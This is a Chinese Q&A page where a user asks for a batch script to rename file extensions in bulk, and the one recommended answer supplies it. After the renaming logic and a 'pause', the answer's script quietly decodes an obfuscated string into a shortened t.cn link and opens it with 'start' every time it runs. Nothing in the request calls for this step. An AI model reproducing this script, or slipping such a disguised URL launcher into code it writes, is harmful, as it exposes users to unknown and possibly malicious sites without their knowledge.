写一个批处理批量修改文件后缀,但不修改自身批处理后缀。谢谢!

2024-12-19 08:35:51
推荐回答(1个)
回答1:

@echo off & title 批量修改文件后缀名 By 依梦琴瑶

::设置要修改的文件后缀名,多个后缀之间用英文逗号隔开,全部后缀请直接设置为*
set Ext=*.txt,*.log

::设置最终更改后的后缀名,无需添加*.
set nExt=cfg

::设置要处理的文件夹目录路径,当前目录请留空
set SrcDir=

::设置是否处理子目录,是 = 1 ,否 = 0
set zF=1

if defined "%SrcDir%" cd /d "%SrcDir%"
if %zF% equ 1 set r=/r
for %r% %%a in (%Ext%) do (
    if not "%~0"=="%%~fa" ren "%%~a" "%%~na.%nExt%"
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit